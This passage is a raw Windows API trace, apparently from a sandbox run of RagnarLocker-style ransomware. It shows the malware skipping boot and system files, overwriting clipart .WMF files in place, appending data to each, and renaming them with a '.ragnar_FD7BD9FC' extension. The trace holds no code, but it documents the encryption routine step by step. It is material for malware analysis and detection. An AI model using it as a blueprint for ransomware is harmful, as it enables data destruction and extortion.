lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1 [0083.918] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.918] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105912.WMF" | out: lpString1="J0105912.WMF") returned="J0105912.WMF" [0083.918] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned=".WMF" [0083.918] lstrcmpiW (lpString1="J0105912.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.918] lstrcmpiW (lpString1="J0105912.WMF", lpString2="autorun.inf") returned 1 [0083.918] lstrcmpiW (lpString1="J0105912.WMF", lpString2="boot.ini") returned 1 [0083.918] lstrcmpiW (lpString1="J0105912.WMF", lpString2="bootfont.bin") returned 1 [0083.918] lstrcmpiW (lpString1="J0105912.WMF", lpString2="bootsect.bak") returned 1 [0083.918] lstrcmpiW (lpString1="J0105912.WMF", lpString2="bootmgr") returned 1 [0083.918] lstrcmpiW (lpString1="J0105912.WMF", lpString2="bootmgr.efi") returned 1 [0083.918] lstrcmpiW (lpString1="J0105912.WMF", lpString2="bootmgfw.efi") returned 1 [0083.918] lstrcmpiW (lpString1="J0105912.WMF", lpString2="desktop.ini") returned 1 [0083.918] lstrcmpiW (lpString1="J0105912.WMF", lpString2="iconcache.db") returned 1 [0083.918] lstrcmpiW (lpString1="J0105912.WMF", lpString2="ntldr") returned -1 [0083.919] lstrcmpiW (lpString1="J0105912.WMF", lpString2="ntuser.dat") returned -1 [0083.919] lstrcmpiW (lpString1="J0105912.WMF", lpString2="ntuser.dat.log") returned -1 [0083.919] lstrcmpiW (lpString1="J0105912.WMF", lpString2="ntuser.ini") returned -1 [0083.919] lstrcmpiW (lpString1="J0105912.WMF", lpString2="thumbs.db") returned -1 [0083.919] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.919] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.919] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.919] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.919] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.919] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.919] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 0x20 [0083.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.919] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11720) returned 1 [0083.919] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2dbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.919] GetProcessHeap () returned 0x580000 [0083.919] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.919] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.921] VirtualAlloc (lpAddress=0x0, dwSize=0x2dc8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.921] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.921] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.921] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2dc8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2dc8, lpOverlapped=0x0) returned 1 [0083.922] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.922] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2dc8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.922] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2dc8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2dc8, lpOverlapped=0x0) returned 1 [0083.922] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2dc8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.922] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.923] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2dc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.923] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.923] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.923] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.923] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.923] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.923] GetProcessHeap () returned 0x580000 [0083.923] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.923] CloseHandle (hObject=0xf4) returned 1 [0083.923] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" [0083.923] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.ragnar_FD7BD9FC" [0083.923] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.924] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1 [0083.924] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.924] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105974.WMF" | out: lpString1="J0105974.WMF") returned="J0105974.WMF" [0083.924] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned=".WMF" [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="autorun.inf") returned 1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="boot.ini") returned 1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="bootfont.bin") returned 1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="bootsect.bak") returned 1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="bootmgr") returned 1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="bootmgr.efi") returned 1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="bootmgfw.efi") returned 1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="desktop.ini") returned 1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="iconcache.db") returned 1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="ntldr") returned -1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="ntuser.dat") returned -1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="ntuser.dat.log") returned -1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="ntuser.ini") returned -1 [0083.924] lstrcmpiW (lpString1="J0105974.WMF", lpString2="thumbs.db") returned -1 [0083.924] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.925] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.925] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.925] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.925] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.925] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.925] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 0x20 [0083.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.925] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4612) returned 1 [0083.925] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.925] GetProcessHeap () returned 0x580000 [0083.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.925] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.927] VirtualAlloc (lpAddress=0x0, dwSize=0x1204, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.927] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.927] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.927] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1204, lpOverlapped=0x0) returned 1 [0083.928] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.928] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1204, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.928] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1204, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1204, lpOverlapped=0x0) returned 1 [0083.928] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1204, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.928] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.928] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.928] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.929] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.929] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.929] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.929] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.929] GetProcessHeap () returned 0x580000 [0083.929] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.929] CloseHandle (hObject=0xf4) returned 1 [0083.929] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" [0083.929] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.ragnar_FD7BD9FC" [0083.929] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.930] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1 [0083.930] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.930] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0106020.WMF" | out: lpString1="J0106020.WMF") returned="J0106020.WMF" [0083.930] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned=".WMF" [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="autorun.inf") returned 1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="boot.ini") returned 1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="bootfont.bin") returned 1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="bootsect.bak") returned 1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="bootmgr") returned 1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="bootmgr.efi") returned 1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="bootmgfw.efi") returned 1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="desktop.ini") returned 1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="iconcache.db") returned 1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="ntldr") returned -1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="ntuser.dat") returned -1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="ntuser.dat.log") returned -1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="ntuser.ini") returned -1 [0083.930] lstrcmpiW (lpString1="J0106020.WMF", lpString2="thumbs.db") returned -1 [0083.930] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.930] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.930] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.930] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.930] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.930] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.930] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 0x20 [0083.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.931] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10060) returned 1 [0083.931] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2743, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.931] GetProcessHeap () returned 0x580000 [0083.931] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.931] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.933] VirtualAlloc (lpAddress=0x0, dwSize=0x274c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.933] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.933] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.933] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x274c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x274c, lpOverlapped=0x0) returned 1 [0083.934] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.934] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x274c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.934] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x274c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x274c, lpOverlapped=0x0) returned 1 [0083.934] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x274c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.934] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.935] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x274c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.935] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.935] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.935] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.935] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.935] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.935] GetProcessHeap () returned 0x580000 [0083.935] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.935] CloseHandle (hObject=0xf4) returned 1 [0083.935] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" [0083.935] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.ragnar_FD7BD9FC" [0083.935] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.936] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1 [0083.936] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.936] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0106124.WMF" | out: lpString1="J0106124.WMF") returned="J0106124.WMF" [0083.936] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft 